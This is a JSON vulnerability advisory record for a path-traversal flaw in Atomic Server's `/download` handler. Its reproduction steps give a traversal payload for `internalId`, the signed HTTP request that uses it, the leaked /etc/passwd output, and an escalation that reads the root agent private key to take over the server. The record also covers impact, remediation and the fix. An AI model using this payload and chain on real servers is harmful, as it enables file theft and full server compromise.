{"id":"CVE-2026-69156","aliases":["GHSA-8vc4-8hjq-988p"],"url":"https://o3.security/vulnerability/CVE-2026-69156","summary":"Atomic Server: Arbitrary file read via user-controlled `internalId` in the `/download` handler (leaks root agent private key)","details":"## Summary\n\nThe Commit apply path enforces **no allowlist of writable properties**, so any authenticated Agent can set the `internalId` string (datatype `string`, no character validation) on a resource it owns. The `/download` handler then uses that value **verbatim** as a filesystem path — `file_path.push(internal_id); NamedFile::open(file_path)` — with **no sanitization and no containment check** (`server/src/handlers/download.rs:56-65`). By setting `internalId` to a traversal path (`../../../../etc/passwd`) or an absolute path (`PathBuf::push` of an absolute path replaces the buffer), an attacker reads **any file on the host**. The highest-value target is the server config file storing the **root agent private key**, which yields full server compromise. Only the *upload* path sanitizes filenames (`sanitize_filename`); the *download* path trusts the stored value. The handler also never checks that the resource is a `File`.\n\n## Affected component\n\n- `server/src/handlers/download.rs:56-65` — `file_path.push(internal_id)` + `NamedFile::open`, no sanitization, no `File`-class check.\n- `lib/src/commit.rs` (`apply_changes`) — sets any property; no server-managed-property denylist.\n\n## Steps to Reproduce\n\nEnvironment: `joepmeneer/atomic-server:develop`, `http://localhost:9883`. Attacker is any Agent with write on a parent (self-signup, or via the `/setup` issue reported separately).\n\n1. Create a resource and set `internalId` to a traversal path — sign the Commit and `POST /commit` (200):\n\n```\nsubject = http://localhost:9883/pwnfile\nset = {\n  \"https://atomicdata.dev/properties/parent\": \"http://localhost:9883\",\n  \"https://atomicdata.dev/properties/internalId\": \"../../../../../../../../etc/passwd\"\n}\n```\n\n2. Download it. The auth signature is over the **resolved subject** (the server strips the `/download` prefix → `http://localhost:9883/pwnfile`):\n\n```http\nGET /download/pwnfile HTTP/1.1\nHost: localhost:9883\nx-atomic-public-key: <pubkey>\nx-atomic-agent: http://localhost:9883/agents/<pubkey>\nx-atomic-timestamp: <ms>\nx-atomic-signature: <ed25519(\"http://localhost:9883/pwnfile <ms>\")>\n```\n\nResponse `200 OK` returns the host `/etc/passwd`:\n\n```\nroot:x:0:0:root:/root:/bin/sh\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\n...\n```\n\n3. Escalate — set `internalId = /atomic-storage/config/config.toml` (absolute path) and download again:\n\n```toml\nserver      = \"http://localhost:9883\"\nagent       = \"http://localhost:9883/agents/+/KwsAmyzc7S/...\"\nprivate_key = \"REDACTED-ROOT-ED25519-PRIVATE-KEY\"   # server root agent key\n```\n\n4. Using the stolen key, the attacker signs a Commit with `signer = <root agent>` → `POST /commit` (200) edits data **as root**. Full compromise.\n\n**Expected:** `internalId` treated as a server-managed property and/or `/download` canonicalizes and confines the path to `uploads_path`.\n**Actual:** Arbitrary host file read, including the root private key.\n\n## Impact\n\nArbitrary file read as the server process: `/etc/passwd`, env, TLS keys, the sled DB, K8s service-account tokens, and the **root agent private key** → root impersonation → full read/write/delete of all data. Only a standard account is needed.\n\n## Remediation\n\n- In `download.rs`: `sanitize_filename(internal_id)`, then `canonicalize` and assert the resolved path stays within `uploads_path` before opening; verify the resource is a `File`.\n- Add a server-managed-property denylist (`internalId`, rights arrays, etc.) in `lib/src/commit.rs` so clients cannot set them.","published":"2026-11-17T20:59:16.056Z","modified":"2026-11-18T21:02:10.113479381Z","cvss":{"score":8.1,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"crates.io","name":"atomic-server","fixedVersion":null}],"fix":{"url":"https://github.com/ontola/atomic-server/commit/59d067c797c946b839c9101fedff4c40171c0c61","label":"ontola/atomic-server@59d067c"},"references":[{"type":"WEB","url":"https://github.com/ontola/atomic-server/releases/tag/v0.40.3"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/69xxx/CVE-2026-69156.json"},{"type":"ADVISORY","url":"https://github.com/ontola/atomic-server/security/advisories/GHSA-8vc4-8hjq-988p"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69156"},{"type":"FIX","url":"https://github.com/ontola/atomic-server/commit/59d067c797c946b839c9101fedff4c40171c0c61"},{"type":"PACKAGE","url":"https://github.com/ontola/atomic-server"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-11-18T21:02:10.113479381Z"}}